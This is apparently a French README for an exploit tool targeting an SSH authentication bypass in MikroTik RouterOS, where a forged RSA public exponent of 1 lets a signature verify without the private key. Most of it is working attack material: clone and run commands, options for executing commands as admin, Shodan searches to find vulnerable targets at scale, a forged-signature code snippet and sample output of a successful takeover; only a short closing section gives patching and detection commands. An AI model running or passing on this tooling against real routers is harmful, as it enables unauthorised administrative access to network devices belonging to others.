Vérification RSA standard :  sig^65537 mod n == attendu  (nécessite la clé privée)
Vérification exploitée :     sig^1 mod n == sig           (AUCUNE clé privée nécessaire !)

sig^1 mod n == sig

# Cloner le dépôt
git clone https://github.com/BlackHatExploitation/exploit-mikrotik-2026.git
cd exploit-mikrotik-2026

# Installer les dépendances
pip install paramiko cryptography

# Exploit de base - génère automatiquement la clé, détecte la version
python3 full_exploit.py --host 192.168.88.1 --username admin

# Exécuter une commande après l'authentification
python3 full_exploit.py --host 192.168.88.1 --username admin --exec '/system resource print'

# Port personnalisé
python3 full_exploit.py --host 192.168.88.1 --port 2222 --username admin

# Si vous disposez du fichier de clé publique de la victime
python3 full_exploit.py --host 192.168.88.1 --username admin --pubkey victim.pub

# Ou fournir le module directement
python3 full_exploit.py --host 192.168.88.1 --username admin --modulus-hex "00:ab:cd:..."

# Forcer l'exploit même sur une version non-MikroTik ou inconnue
python3 full_exploit.py --host 192.168.88.1 --username admin --skip-version-check

--host              IP/nom d'hôte RouterOS cible (requis)
--port              Port SSH (défaut : 22)
--username          Nom d'utilisateur RouterOS cible (requis)
--pubkey            Fichier de clé publique RSA (généré automatiquement si non fourni)
--modulus-hex       Module RSA en hexadécimal (alternative à --pubkey)
--algos             Algorithmes de signature (défaut : ssh-rsa,rsa-sha2-256)
--exec              Commande à exécuter après l'authentification
--exp-enc           Encodage de l'exposant : canonique (1 octet) ou aligné (3 octets)
--timeout           Délai d'expiration de connexion (défaut : 15,0 secondes)
--skip-version-check    Ignorer la vérification de version RouterOS
--shodan-dorks      Afficher les requêtes de recherche Shodan
--shodan-search     Rechercher des cibles via l'API Shodan
--shodan-key        Clé API Shodan
--shodan-query      Requête Shodan personnalisée
--shodan-limit      Limite de résultats Shodan (défaut : 100)

python3 full_exploit.py --shodan-dorks

# Recherche de base
python3 full_exploit.py --shodan-search --shodan-key VOTRE_CLE_API

# Requête personnalisée
python3 full_exploit.py --shodan-search --shodan-key VOTRE_CLE --shodan-query 'MikroTik port:22 country:US'

string    "ssh-rsa"
mpint     e (exposant public)  <- L'attaquant fournit e=1
mpint     n (module)          <- Module réel de la victime

# La « signature » est simplement les données d'authentification encodées EMSA-PKCS1-v1_5
def forged_signature(data, sig_alg, n):
    k = (n.bit_length() + 7) // 8
    block = emsa_pkcs1_v15(data, sig_alg, k)
    return block  # Ceci EST la signature valide lorsque e=1

[*] Exploit CVE-2026-67276 MikroTrick
[*] Cible : 192.168.88.1:22

[*] Détection de la version RouterOS...
[*] Bannière SSH : SSH-2.0-ROSSSH-7.23.3
[*] Version RouterOS : 7.23.3
[+] VERSION VULNÉRABLE - CVE-2026-67276 applicable

[*] Génération d'une paire de clés RSA 2048 bits...
[+] Clé privée enregistrée : /path/to/exploit_key
[+] Clé publique enregistrée :  /path/to/exploit_key.pub
[*] Module : 2048 bits | e=1 falsifié
[*] Encodage de l'exposant : canonique (01)

[*] Tentative rsa-sha2-256 ...
[+] AUTHENTIFIÉ en tant que 'admin' via rsa-sha2-256
[+] CVE-2026-67276 CONFIRMÉ - la cible est vulnérable
--- sortie de la commande ---
                uptime: 14d23h45m12s
               version: 7.23.3 (stable)
            build-time: Sep/01/2026 12:00:00

# Vérifier la version actuelle
/system resource print

# Mettre à niveau vers la version corrigée
/system package update download
/system reboot

/ip service disable ssh

# Par adresse IP
/ip service set ssh address=192.168.88.0/24

# Règle de pare-feu
/ip firewall filter add chain=input dst-port=22 protocol=tcp \
    src-address=!192.168.88.0/24 action=drop

# Vérifier les utilisateurs suspects
/user print

# Vérifier l'utilisateur « ops » (indicateur connu d'attaquant)
/user print where name=ops

# Vérifier le statut de l'appareil signalé
/system/device-mode/print

# Vérifier les journaux
/log print where topics~"ssh"